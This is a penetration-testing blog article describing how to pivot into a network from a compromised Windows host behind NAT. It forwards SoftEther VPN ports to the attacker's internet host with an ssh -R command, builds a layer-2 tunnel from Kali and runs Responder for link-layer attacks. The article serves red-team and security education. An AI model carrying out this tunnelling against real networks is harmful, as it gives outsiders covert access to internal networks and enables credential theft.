NAT can cause problems for a pentester when pivoting, especially if we are talking about compromised Windows machines. In this article, I will continue to demonstrate the concept of L2 tunneling against compromised Windows machines, but with NAT in mind.

Caster - Witchhammer VIP

Genre: Offensive
Label: exploit.org
Release Date: 4 April 2024

Intro

In the context of penetration testing scenarios, it may be that a pentester has been able to compromise a Windows host, but the host is behind NAT. In this case, the pentester needs to perform a link layer attack that requires an L2 tunnel. However, in conditions where the host is behind NAT the task of creating such a tunnel becomes more difficult, but this situation has several solutions.

This is the second part of my Witchhammer article in which I demonstrated the L2 tunneling method against Windows machines in order to perform a link layer attack. In this VIP version of the article, I will do the same thing, but I will cover a scenario where the compromised host is behind NAT.

Disclaimer

The article is of an introductory nature and is intended for security professionals conducting testing under contract. The author and editorial staff are not liable for any harm caused by the use of the information presented. The distribution of malware, disruption of systems, and violation of correspondence secrecy will be prosecuted.

SSH Remote Port Forwarding

The basic idea is to use SSH Remote Port Forwarding to forward TCP/443,TCP/992,TCP/555ports to the attacker's system, who in turn will use these ports to connect to a SoftEther server behind NAT. This method is good because SSH is legitimate software and is not blocked by antivirus programs. However, there are other ways to forward a port like this, for example, using chisel

This is essentially a scenario where an attacker develops a post-exploitation vector from the Internet by gaining access to a compromised host. In the context of this scenario, I will be forwarding ports specifically to the attacker's system, but there is a practice where the pentester prepares a separate external SSH server on the Internet, which he will use to connect to the SoftEther server on the compromised host. There is not much difference, but the option with an external SSH server is more convenient if the penetration testing is performed by a team whose members would be convenient to go through one SSH server instead of having to forward a port each time from the compromised machine to each host of the attacker.

In this scenario, the attacker is on the Internet, his host address is 187.33.221.185, and it is to this host that SSH ports will be forwarded. It is assumed that SoftEther-server is already active on the compromised host, the configuration of which I fully described in the first version of Witchhammer

Before port forwarding, you must configure the host where the SSH server will be (the attacker's system or a separate SSH server), you just need to allow AllowTcpForwardingandGatewayPorts

/etc/ssh/sshd_config

AllowTcpForwarding yes
GatewayPorts yes

Then from the compromised machine using ssh need to forward TCP/443,TCP/992,TCP/5555ports to the attacking machine on the Internet
Local ports of the compromised machine:TCP/443,TCP/992,TCP/5555
External ports for the attacking system: TCP/4443,TCP/9992,TCP/5555

C:\witchhammer> ssh -R 4443:localhost:443 -R 9992:localhost:992 -R 5555:localhost:5555 [email protected]

After that, ports will be available on the attacking host to connect to the SoftEther server behind NAT

These are the ports that the attacker will use to further connect to the SoftEther server and create an L2 tunnel.

Tunneling

After port forwarding manipulations, the attacker can replay the connection to the SoftEther server

caster@kali:~$ sudo apt install build-essential
caster@kali:~$ wget https://www.softether-download.com/files/softether/v4.43-9799-beta-2023.08.31-tree/Linux/SoftEther_VPN_Client/64bit_-_Intel_x64_or_AMD64/softether-vpnclient-v4.43-9799-beta-2023.08.31-linux-x64-64bit.tar.gz
caster@kali:~$ gunzip softether-vpnclient-v4.43-9799-beta-2023.08.31-linux-x64-64bit.tar.gz
caster@kali:~$ tar xf softether-vpnclient-v4.43-9799-beta-2023.08.31-linux-x64-64bit.tar
caster@kali:~$ cd vpnclient
caster@kali:~/vpnclient$ make
caster@kali:~/vpnclient$ sudo ./vpnclient start
caster@kali:~/vpnclient$ sudo ./vpncmd

All the same settings, creating a virtual adapter, specifying the server address and account password. However, in this case we will use 127.0.0.1:4443 as the server, since we have forwarded the TCP/443 port from the compromised Windows machine to the attacker's host

VPN Client> NicCreate caster
VPN Client> AccountCreate Tunnel /SERVER:127.0.0.1:4443 /HUB:Witchhammer /USERNAME:caster /NICNAME:caster
VPN Client> AccountPassword Tunnel /PASSWORD:password /TYPE:standard
VPN Client> AccountConnect Tunnel

The attacker then gains access to the target network at the L2 layer, where the compromised host itself is located. Since it has a vpn_caster virtual interface, it must obtain an address on it to work with the target network at the link layer

caster@kali:~$ sudo dhclient -v vpn_caster

However, keep in mind that new information about the default gateway may arrive via DHCP, and the new route 0.0.0.0 may affect network connectivity on the attacker's system. Therefore, if such a route appears, it should be removed.

caster@kali:~$ sudo route del default

In the case of my scenario, the target network has an address of 192.168.0.0/24, and the virtual interface has an address of 192.168.0.251/24

Proof of Concept

In fact, we are able to perform link layer attacks directly from the Internet, thanks to the EtherIP tunnel we have built. To prove the performance of this vector, I will run Responder inside this tunnel

Outro

In this way, it is possible to build L2 tunnels with a compromised Windows machine to perform link layer attacks, even though the compromised host itself was behind NAT.
In fact, SoftEther pivoting methods are quite noisy on the air, lots of DNS queries, keepalive messages. If this method is used for Red Team events, the operators will have to take care of reducing the noise on the air.

Stay updated and engage with us on security discussions by joining our Telegram channel: @exploitorg